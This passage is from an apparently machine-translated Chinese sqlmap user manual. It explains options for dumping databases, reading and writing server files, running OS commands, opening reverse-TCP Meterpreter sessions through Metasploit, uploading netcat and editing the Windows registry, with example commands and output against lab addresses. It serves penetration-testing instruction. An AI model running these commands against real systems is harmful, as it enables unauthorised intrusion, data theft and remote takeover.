--枚举数据库的表
开关和选项:--tables,--exclude-sysdbs和-D

当会话用户具有包含有关数据库表的信息的系统表的读访问权时,可以枚举特定数据库管理系统的数据库的表列表。

如果未提供带选项的特定数据库-D,则sqlmap将枚举所有DBMS数据库的表。

您还可以提供切换--exclude-sysdbs以排除所有系统数据库。

请注意,在Oracle上,您必须提供TABLESPACE_NAME而不是数据库名称。

--枚举数据库表列
开关和选项:--columns,-C,-T和-D

当会话用户具有包含有关数据库表的信息的系统表的读访问权时,可以枚举特定数据库表的列列表。sqlmap还枚举每列的数据类型。

此功能取决于-T指定表名的选项,并可选择-D指定数据库名称。如果未指定数据库名称,则使用当前数据库名称。您还可以提供-C指定表列名称的选项,例如您提供的枚举名称。

针对SQLite目标的示例:

1
2
3
4
5
6
7
8
9
10
11
12
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

请注意,在PostgreSQL上,您必须提供public系统数据库或名称。这是因为无法枚举其他数据库表,只能枚举Web应用程序用户所连接的架构下的表,这些表总是别名public。

--枚举数据库管理系统架构
开关:--schema和--exclude-sysdbs

用户可以使用此开关检索DBMS架构。架构列表将包含所有数据库,表和列以及它们各自的类型。结合--exclude-sysdbs仅包含非系统数据库的部分模式将被检索和显示。

针对MySQL目标的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs
 
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+
 
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+
 
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+
 
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

--检索表的条目数
开关: --count

如果用户想要在转储所需的表之前只知道表中的条目数,则可以使用该开关。

针对Microsoft SQL Server目标的示例:

1
2
3
4
5
6
7
8
9
10
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

--转储数据库表条目
开关和选项:--dump,-C,-T,-D,--start,--stop,--first,--last,--pivot-column和--where

当会话用户具有对特定数据库表的读访问权时,可以转储表条目。

此功能取决于-T指定表名的选项以及可选的-D指定数据库名称的选项。如果提供了表名,但未提供数据库名,则使用当前数据库名。

针对Firebird目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

此开关还可用于转储所提供数据库的所有表条目。你只需要提供带有开关的sqlmap --dump以及只有选项-D(no -T和no -C)。

您还可以使用该选项提供要转储的特定列的逗号分隔列表-C。

sqlmap还为每个表生成以CSV格式文本文件转储的条目。您可以通过提供大于或等于1的详细级别来查看sqlmap创建文件的绝对路径。

如果只想转储一系列条目,则可以提供选项--start和/或--stop分别从某个条目开始转储,并在某个条目处停止转储。例如,如果要仅转储第一个条目,请--stop 1在命令行中提供。反之亦然,例如,如果您只想转储第二个和第三个条目,请提供--start 1 --stop 3。

另外,也可以指定单个字符或者字符的范围与选择要转储的--first和--last。例如,如果要将列的条目从第三个字符转储到第五个字符,请提供--first 3 --last 5。此功能仅适用于盲SQL注入技术,因为对于基于错误和UNION查询的SQL注入技术,请求的数量完全相同,无论列的转储输出的长度如何。

有时(例如,对于Microsoft SQL Server,Sybase和SAP MaxDB),OFFSET m, n由于缺乏相似性,因此无法通过使用机制直接转储表行。在这种情况下,sqlmap通过确定最合适的pivot列(具有最多唯一值的列)来转储内容,该列的值稍后用于检索其他列值。如果有必要强制使用特定pivot列,因为自动选择的列不适合(例如,由于缺少表转储结果),您可以使用选项--pivot-column(例如--pivot-column=id)。

如果要将转储约束到特定列值(或范围),可以使用选项--where。提供的逻辑操作将在WHERE子句中自动使用。例如,如果--where="id>3"仅使用列值id大于3的表行将被检索(通过附加WHERE id>3到使用的转储查询)。

正如您现在可能已经注意到的那样,sqlmap非常灵活:您可以将其保留为自动转储整个数据库表,或者您可以非常精确地转储哪些字符,从哪些列以及哪些条目范围。

--转储所有数据库表条目
开关:--dump-all和--exclude-sysdbs

可以一次性转储会话用户具有读访问权限的所有数据库表条目。

您还可以提供切换--exclude-sysdbs以排除所有系统数据库。在这种情况下,sqlmap将只转储用户数据库表的条目。

请注意,在Microsoft SQL Server上,master数据库不被视为系统数据库,因为某些数据库管理员将其用作用户的数据库。

--搜索列,表或数据库
开关和选项:--search,-C,-T,-D

此开关允许您搜索特定数据库名称,跨所有数据库的特定表或所有数据库表中的特定列。

例如,这有助于识别包含自定义应用程序凭据的表,其中相关列的名称包含类似name和pass的字符串。

Switch --search需要与以下支持选项之一一起使用:

-C 跟随以逗号分隔的列名列表,以在整个数据库管理系统中查找。following a list of comma-separated column names to look for across the whole database management system.
-T 跟随以逗号分隔的表名列表,以在整个数据库管理系统中查找。following a list of comma-separated table names to look for across the whole database management system.
-D 跟随以逗号分隔的数据库名称列表,以在整个数据库管理系统中查找。following a list of comma-separated database names to look for across the database management system.

--sqlmap运行自定义SQL语句
选项和开关:--sql-query和--sql-shell

SQL查询和SQL shell功能允许在数据库管理系统上运行任意SQL语句。sqlmap自动分析提供的语句,确定哪种技术适合用于注入它以及如何相应地打包SQL有效负载。

如果查询是一个SELECT语句,sqlmap将检索其输出。否则,如果Web应用程序在后端数据库管理系统上支持多个语句,它将通过堆栈查询SQL注入技术执行查询。请注意,某些Web应用程序技术不支持特定数据库管理系统上的堆栈查询。例如,当后端DBMS是MySQL时,PHP不支持堆栈查询,但是当后端DBMS是PostgreSQL时它确实支持。

针对Microsoft SQL Server 2000目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now 
unpack it into distinct queries to be able to retrieve the output even if we are
 going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS 
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

如您所见,sqlmap将提供的查询拆分为两个不同的SELECT语句,然后检索每个单独查询的输出。

如果提供的查询是一个SELECT语句并包含一个FROM子句,sqlmap将询问您此类语句是否可以返回多个条目。在这种情况下,该工具知道如何正确解压缩查询以计算可能的条目数并检索其输出,每个条目的条目。

SQL shell选项允许您以交互方式运行自己的SQL语句,例如连接到数据库管理系统的SQL控制台。此功能也提供TAB完成和历史支持。

-暴力

这些开关可用于执行强力检查。

--暴力猜解表名称
开关: --common-tables

有些情况下,switch --tables不能用于检索数据库的表名。这些案例通常适合以下类别之一:

数据库管理系统是MySQL <5.0,其中information_schema不可用。
数据库管理系统是Microsoft Access,系统表MSysObjects不可读 - 默认设置。
会话用户对存储数据库方案的系统表没有读取权限。
如果前两种情况中的任何一种情况适用并且您提供了开关--tables,则sqlmap将提示您回答此技术的问题。这两种情况都适用于您的情况,如果您使用交换机,sqlmap仍可能识别某些现有表--common-tables。sqlmap将执行暴力攻击,以便检测跨DBMS的公共表的存在。

常用表名列表是txt/common-tables.txt,您可以根据需要进行编辑。

针对MySQL 4.1目标的示例:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

--暴力猜解字段名称
开关: --common-columns

根据表,有些情况下switch --columns不能用于检索数据库的表的列名。这些案例通常适合以下类别之一:

数据库管理系统是MySQL <5.0,其中information_schema不可用。
数据库管理系统是Microsoft Access,系统表中没有此类信息。
会话用户对存储数据库方案的系统表没有读取权限。
如果前两种情况中的任何一种情况适用并且您提供了开关--columns,则sqlmap将提示您回答此技术的问题。这两种情况都适用于您的情况,如果您使用交换机,sqlmap仍可能识别某些现有表--common-columns。sqlmap将执行暴力攻击,以便检测整个DBMS中是否存在公共列。

常用表名列表是txt/common-columns.txt,您可以根据需要进行编辑。

-用户定义的函数注入

这些选项可用于创建自定义用户定义的函数。

--sqlmap注入自定义用户定义函数(UDF)
切换和选项:--udf-inject和--shared-lib

您可以通过编译MySQL或PostgreSQL共享库,Windows的DLL和Linux / Unix的共享对象来注入您自己的用户定义函数(UDF),然后为sqlmap提供共享库在您的机器上本地存储的路径。然后sqlmap会问你一些问题,在数据库服务器文件系统上上传共享库,从中创建用户定义的函数,并根据你的选项执行它们。完成注入的UDF后,sqlmap也可以为您从数据库中删除它们。

这些技术详见白皮书Advanced SQL注入到操作系统的完全控制。

使用选项--udf-inject并按照说明操作。

如果需要,还可以通过命令行使用--shared-lib选项指定共享库本地文件系统路径。反之,sqlmap会在运行时询问您的路径。

仅当数据库管理系统是MySQL或PostgreSQL时,此功能才可用。

-文件系统访问

--从数据库服务器的文件系统中读取文件
选项: --file-read

当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server时,可以从底层文件系统检索文件内容,并且会话用户具有滥用数据库特定功能和架构弱点所需的权限。指定的文件可以是文本文件或二进制文件。sqlmap将正确处理它。

这些技术详见白皮书Advanced SQL注入到操作系统的完全控制。

针对Microsoft SQL Server 2005目标检索二进制文件的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe 
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

--sqlmap将文件上载到数据库服务器的文件系统
选项:--file-write和--file-dest

当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server时,可以将本地文件上载到数据库服务器的文件系统,并且会话用户具有滥用数据库特定功能和架构弱点所需的权限。指定的文件可以是文本文件或二进制文件。sqlmap将正确处理它。

这些技术详见白皮书Advanced SQL注入到操作系统的完全控制。

针对MySQL目标上传二进制UPX压缩文件的示例:

$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'

-操作系统接管

--运行任意操作系统命令
选项和开关:--os-cmd和--os-shell

它可以在数据库服务器的底层操作系统上运行任意命令时,后端数据库管理系统或者是MySQL和PostgreSQL或Microsoft SQL Server和会话用户具有所需的权限滥用数据库特定的功能和架构的弱点。

上MySQL和PostgreSQL,SqlMap的上传(经由文件上传功能如上所述)含有两个用户定义函数的共享库(二进制文件),sys_exec()和sys_eval(),然后将其在数据库上创建这两个函数和调用它们中的一个来执行指定的命令,取决于用户选择是否显示标准输出。在Microsoft SQL Server上,sqlmap滥用xp_cmdshell存储过程:如果它被禁用(默认情况下在Microsoft SQL Server上> = 2005),sqlmap会重新启用它; 如果它不存在,sqlmap从头开始创建它。

当用户请求标准输出时,sqlmap使用枚举SQL注入技术之一(盲,带内或基于错误)来检索它。反之亦然,如果不需要标准输出,则使用堆栈查询SQL注入技术来执行命令。

这些技术详见白皮书Advanced SQL注入到操作系统的完全控制。

针对PostgreSQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually

也可以模拟真实的shell,您可以根据需要键入任意数量的任意命令。该选项--os-shell具有相同的TAB完成和历史功能--sql-shell。

如果在Web应用程序上没有识别堆栈查询(例如PHP或ASP,后端数据库管理系统是MySQL),而DBMS是MySQL,那么仍​​然可以滥用该SELECT子句INTO OUTFILE在可写文件夹中创建Web后门。假设后端DBMS和Web服务器托管在同一服务器上,Web服务器文档根目录仍然可以执行命令。sqlmap支持这种技术,并允许用户提供逗号分隔的可能的文档根子文件夹列表,其中尝试上传Web文件stager和后续Web后门。此外,sqlmap有自己测试的Web文件舞台和后门用于以下语言:

ASP
ASP.NET
JSP
PHP

--带外有状态连接:Meterpreter和朋友
开关和选项:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path和--tmp-path

当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server时,可以在攻击者机器和数据库服务器底层操作系统之间建立带外有状态TCP连接,并且会话用户具有所需的滥用数据库特定功能和架构弱点的权限。根据用户的选择,此通道可以是交互式命令提示符,Meterpreter会话或图形用户界面(VNC)会话。

sqlmap依赖于Metasploit来创建shellcode并实现四种不同的技术来在数据库服务器上执行它。这些技术是:

通过sqlmap自己的用户定义函数在Metasploit的shellcode中执行数据库内存中执行sys_bineval()。支持MySQL和PostgreSQL - 切换--os-pwn。
通过MySQL和PostgreSQL上的sqlmap自己的用户定义函数或通过Microsoft SQL Server - 上传和执行Metasploit的独立有效负载 stager 。sys_exec()xp_cmdshell()--os-pwn
执行Metasploit的shellcode,执行SMB反射攻击(MS08-068),从数据库服务器向Metasploit smb_relay服务器漏洞监听的攻击者机器发出UNC路径请求。uid=0在Linux / Unix上运行具有高权限()的sqlmap 并且目标DBMS在Windows上以管理员身份运行时支持 - 切换--os-smbrelay。
通过利用Microsoft SQL Server 2000和2005 sp_replwritetovarbin存储过程基于堆的缓冲区溢出(MS09-004),在Metasploit的shellcode中执行数据库内存中执行。sqlmap有自己的利用来通过自动DEP内存保护绕过触发漏洞,但它依赖于Metasploit生成shellcode以在成功利用时执行 - 切换--os-bof。

这些技术在白皮书Advanced SQL注入操作系统完全控制和幻灯片中详细介绍了从数据库扩展对操作系统的控制。

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
> 
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on 
all ports 
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 
which is the local address? [192.168.136.1] 
which local port number do you want to use? [60641] 
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..

                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                        /|
                        \|


    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641 
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0


meterpreter > exit

[*] Meterpreter session 1 closed.  Reason: User exit

默认情况下,Windows上的MySQL运行SYSTEM,但PostgreSQL postgres在Windows和Linux上作为低权限用户运行。默认情况下SYSTEM,Microsoft SQL Server 2000运行为,而Microsoft SQL Server 2005和2008运行大部分时间NETWORK SERVICE,有时也运行LOCAL SERVICE。

可以通过Metasploit 命令提供带有switch的sqlmap --priv-esc以执行数据库进程'用户权限提升,getsystem其中包括kitrap0d技术(MS10-015)。

-Windows注册表访问

当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server,以及Web应用程序支持堆栈查询时,可以访问Windows注册表。此外,会话用户必须具有访问它所需的权限。

--读取Windows注册表项值
开关: --reg-read

使用此开关,您可以读取注册表项值。

--编写Windows注册表项值
开关: --reg-add

使用此开关,您可以编写注册表项值。

--删除Windows注册表项
开关: --reg-del

使用此开关,您可以删除注册表项。

--辅助注册表选项
选项:--reg-key,--reg-value,--reg-data和--reg-type

这些选项可用于提供正确运行交换机所需的数据--reg-read,--reg-add以及 --reg-del。因此,您可以在命令提示符下将它们用作程序参数,而不是在询问时提供注册表项信息。

使用--reg-key选项,您可以指定使用的Windows注册表键路径,其中--reg-value值项目名称在提供的键内,具有--reg-data值数据,而使用--reg-type选项指定值项目的类型。

用于添加注册表项配置单元的示例命令行如下:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\
eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

一般

这些选项可用于设置一些常规工作参数。

从存储的(.sqlite)文件加载会话

选项: -s

sqlmap自动为每个目标创建一个持久会话SQLite文件,在专用输出目录中,它存储会话resumal所需的所有数据。如果用户想要显式设置会话文件位置(例如,用于在一个地方存储多个目标的会话数据),他可以使用此选项。

将HTTP(s)流量记录到文本文件

选项: -t

此选项需要一个参数,该参数指定文本文件写入由sqlmap生成的所有HTTP流量 - HTTP(S)请求和HTTP(S)响应。

这主要用于调试目的 - 当您向开发人员提供潜在的错误报告时,也会发送此文件。

以非交互模式行事

开关: --batch

如果您希望sqlmap作为批处理工具运行,而在sqlmap需要时没有任何用户的交互,您可以使用switch强制执行此操作--batch。这将使sqlmap在需要用户输入时使用默认行为。

二进制内容检索

选项 --binary-fields

在二进制内容检索的情况下,例如具有存储二进制值的列的表的示例(例如,password具有二进制存储的密码散列值的列),可以使用--binary-fieldssqlmap适当处理(额外)的选项。然后检索所有这些字段(即表格列)并以十六进制表示形式表示,之后可以使用其他工具(例如john)正确处理它们。

自定义(盲)SQL注入字符集

选项: --charset

在基于布尔的盲和基于时间的盲SQL注入案例中,用户可以强制使用自定义字符集来加速数据检索过程。例如,在转储消息摘要值(例如SHA1)的情况下,通过使用(例如)--charset="0123456789abcdef"预期的请求数量比常规运行少约30%。

从目标网址开始抓取网站

选项: --crawl

sqlmap可以通过从目标位置开始收集(爬网)来收集可能存在漏洞的链接。使用此选项,用户可以设置深度(距离起始位置的距离),低于该深度,sqlmap将不会进入收集阶段,因为只要有新的链接要访问,该过程就会递归完成。

针对MySQL目标运行的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]

选项 --crawl-exclude

使用此选项,您可以通过提供正则表达式从抓取中排除页面。例如,如果要跳过logout其路径中包含关键字的所有页面,则可以使用--crawl-exclude=logout

分隔CSV输出中使用的字符

选项: --csv-del

当转储的数据存储为CSV格式(--dump-format=CSV)时,条目必须用“分隔值”(默认为,)分隔。如果用户想要覆盖其默认值,他可以使用此选项(例如--csv-del=";")。

DBMS身份验证凭据

选项: --dbms-cred

在某些情况下,由于缺少当前的DBMS用户权限,用户将被警告某些操作失败,并且他可以尝试使用此选项。在这些情况下,如果他admin通过使用此选项向sqlmap 提供用户凭据,sqlmap将尝试OPENROWSET使用这些凭据使用专门的“运行方式”机制(例如,在Microsoft SQL Server上)重新运行有问题的部分。

转储数据的格式

选项: --dump-format

的SqlMap支持三种不同类型的存储转储表数据时成相应的文件中的一个输出目录内格式化的:CSVHTMLSQLITE。默认值是CSV,每个表行逐行存储到文本文件中,并且每个条目用逗号字符,(或带有选项的一个--csv-del)分隔。在这种情况下HTML,输出存储在HTML文件中,其中每一行用格式化表格中的一行表示。在这种情况下SQLITE,输出存储在SQLITE数据库中,其中原始表内容被复制到具有相同名称的相应表中。

强制用于数据检索的字符编码

选项: --encoding

为了正确解码字符数据,sqlmap使用Web服务器提供的信息(例如HTTP标头Content-Type)或来自第三方库chardet的启发式结果。

但是,有时必须覆盖此值,尤其是在检索包含国际非ASCII字母的数据时(例如--encoding=GBK)。必须注意的是,由于存储的数据库内容与目标端的已使用数据库连接器之间的隐式不兼容性,字符信息有可能不可逆转地丢失。

预计到达时间

开关: --eta

可以实时计算和显示估计的到达时间以检索每个查询输出。当用于检索输出的技术是任何盲SQL注入类型时,会显示此信息。

针对仅受基于布尔的盲SQL注入影响的Oracle目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\
=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                          ] 11/64  ETA 00:19

然后:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

如您所见,sqlmap首先计算查询输出的长度,然后估计到达时间,以百分比显示进度并计算检索到的输出字符数。

刷新会话文件

选项: --flush-session

由于您已经熟悉上述描述中的会话文件的概念,因此最好知道您可以使用选项刷新该文件的内容--flush-session。这样就可以避免在sqlmap中默认实现的缓存机制。其他可能的方法是手动删除会话文件。

解析和测试表单的输入字段

开关: --forms

假设您想要针对SQL注入测试一个巨大的搜索表单,或者您想测试一个登录旁路(通常只有两个输入字段命名为用户名密码),您可以将请求传递给sqlmap请求文件(-r),设置相应的POSTed数据(--data)或让sqlmap为你做!

上面提到的两个实例以及许多其他实例都在HTML响应主体中显示为<form><input>标记,这就是此切换发挥作用的地方。

提供sqlmap --forms以及可以找到表单的页面作为目标URL(-u),sqlmap将为您请求目标URL,解析它具有的表单并引导您在这些表单输入字段上测试SQL注入(参数)而不是提供的目标URL。

忽略存储在会话文件中的查询结果

开关: --fresh-queries

由于您已经熟悉上述描述中的会话文件的概念,因此最好知道您可以使用选项忽略该文件的内容--fresh-queries。这样,您可以保持会话文件不受影响,并且对于选定的运行,避免恢复/恢复查询输出。

使用DBMS十六进制函数进行数据检索

开关: --hex

在丢失情况下,检索非ASCII数据需要特殊需求。该问题的一个解决方案是使用DBMS十六进制函数。通过此开关打开,数据在被检索之前被编码为十六进制形式,之后未编码为其原始形式。

针对PostgreSQL目标的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\
anner --hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
